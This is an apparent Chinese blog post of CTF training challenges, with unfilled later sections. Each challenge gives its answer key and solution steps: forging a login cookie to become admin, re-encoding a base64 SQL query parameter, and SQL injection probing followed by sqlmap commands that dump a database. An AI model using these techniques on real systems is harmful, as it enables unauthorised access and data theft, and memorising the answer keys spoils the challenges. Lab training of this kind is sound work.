CTF竞赛试题(跟新中)

0x00 前言

0x01 第一关-不合理的验证方式

1.1 题目背景

Web 用户的身份验证,及页面操作权限验证是 B/S 系统的基础功能,一个功
能复杂的业务应用系统,通过角色授权来控制用户访问。Web 系统的用户登录
及页面操作权限验证在处理逻辑上比较复杂,通过 Session 和 Cookie 存储,以及
Session 和 Cookie 的过期处理来控制用户身份 。

1.2 题目描述

一个 web 系统中管理员账户:admin 中有一串 key,页面只提供了试用账号
密码:test test ,我们需要登录进 admin 账户获取 key 来通过本关。

1.3 答案提交

  1. 提交得到的 key。
  2. 请提交操作过程报告,报告中要包含操作的关键过程描述并附截图,以 WORD
    方式提交。

1.4 提交key

1
key:I am admin

1.5 关卡环境

  1. VPC1( 虚拟 PC ):工具场景:Windows XP 操作系统/BT5

  2. VPC2( 虚拟 PC ):Window server xp

  3. 软件描述:使用工具场景集成的工具软件,参赛者也可以上传工具软
    件软件到工具场景

  4. 关卡环境描述:

    1. 学生机与实验室网络直连
    2. VPC 与实验室网络直连
    3. 学生机与 VPC 物理链路连通

1.6 参考步骤

1.打开浏览器,访问 http://192.168.102.62。

2.使用账号密码:test test 登录

3.使用 Firefox 的 firebug 插件查看 cookies。发现只有 user 段,值为 test。

4.将 test 修改为 admin,再次访问页面,得到 key:I am admin

Cookie:判断用户信息的凭据,存储在本地

Test 用户登录产生的 cookie 信息:

0x02 加密与解密的对抗

2.1 题目背景

数据加密的基本过程就是对原来为明文的文件或数据按某种算法进
行处理,使其成为不可读的一段代码,通常称为“密文”,使其只能在
输入相应的密钥之后才能显示出本来内容,通过这样的途径来达到保护
数据不被非法人窃取、阅读的目的。 该过程的逆过程为解密,即将该
编码信息转化为其原来数据的过程

2.2 题目描述

一个 web 页面只给了 2 个奇怪的超链接,访问 2 个连接会导致列表的排序不
一样。这一关通过观察页面,构造 url,访问得到 key 通过本关。

2.3 答案提交

  1. 提交得到的 key。
  2. 请提交操作过程报告,报告中要包含操作的关键过程描述并附截图,以 WORD
    方式提交。

2.4 提交key

1
key:hello world

2.5 关卡环境

  1. VPC1( 虚拟 PC ) 工具场景:Windows XP 操作系统/BT5
  2. VPC2( 虚拟 PC ): Window server xp
  3. 软件描述:使用工具场景集成的工具软件,参赛者也可以上传工具软件软件到工具场景。
  4. 关卡环境描述:
    1. 学生机与实验室网络直连
    2. VPC 与实验室网络直连
    3. 学生机与 VPC 物理链路连通

2.6 参考步骤

1.打开浏览器,访问 http://192.168.102.62。

2.通过查看源码,查看 2 个超链接的地址:

1
2
3
index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3JhbmtpbmcrbGltaXQrMCUyQzQ=

index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3llYXIrbGltaXQrMCUyQzQ=

3.2 个地址的 Word 参数是 base64 加密,将其解密

4.解密后的字符串:
SELECT+%2A+FROM+language+order+by+year+limit+0%2C4
url 加密,再次解密:

5.解密结果是一个 sql 语句。构造新的语句:
SELECT * FROM language order by year
将其 url 加密

6.将得到的字符串 base64 加密

7.得到的加密串构造地址:

http://192.168.102.62/index.php?word=U0VMRUNUKyorRlJPTStsYW5ndWFnZStvcmRlcitieSt5ZWFy
8.访问得到 key:hello world 。

0x03 一个SQL引发的血案

3.1 题目背景

SQL 注入,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或
页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令,比
如先前的很多影视网站泄露 VIP会员密码大多就是通过WEB表单递交查
询字符暴出的,这类表单特别容易受到 SQL 注入式攻击。

3.2 题目描述

一个 web 页面列了 2014 年 6 月编程语言排行榜。我们需要通过此页面,查
询到数据库里的内容,得到 key。

3.3 答案提交

  1. 提交得到的 key。
  2. 请提交操作过程报告,报告中要包含操作的关键过程描述并附截图,以 WORD
    方式提交。

3.4 提交key

​ key:I am sql inject

3.5 关卡环境

VPC1( 虚拟 PC ) 工具场景:Windows XP 操作系统/BT5
VPC2( 虚拟 PC ) Window server xp
软件描述 使用工具场景集成的工具软件,参赛者也可以上传工具软
件软件到工具场景。
关卡环境描述
1、学生机与实验室网络直连
2、VPC 与实验室网络直连
3、学生机与 VPC 物理链路连通

3.6参考步骤

1.打开浏览器,访问 http://192.168.102.62。

2.访问超链接:
http://192.168.102.62/index.php?id=1
通过修改 id 的值可以查看到相应排名的语言

3.访问:http://192.168.102.62/index.php?id=1 and 1=1 返回正确内容。

http://192.168.102.62/index.php?id=1 and 1=2 返回错误内容。

4.通过上面可以判断存在注入。Kali 下使用 sqlmap 获取数据库内容。
使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” –dbs 查看数据库。

使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” –dump -D “third” 获取数据库内容。得到 key:I am sql inject

0x04

4.1 题目背景

4.2 题目描述

4.3 答案提交

4.4 提交key

4.5 关卡环境

4.6参考步骤

0x05

5.1 题目背景

5.2 题目描述

5.3 答案提交

5.4 提交key

5.5 关卡环境

5.6参考步骤

###


文章作者: madcoding
文章链接: https://www.mad-coding.cn/2019/09/03/CTF竞赛试题/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 madcoding’s blog
打赏
  • 微信
  • 支付宝

评论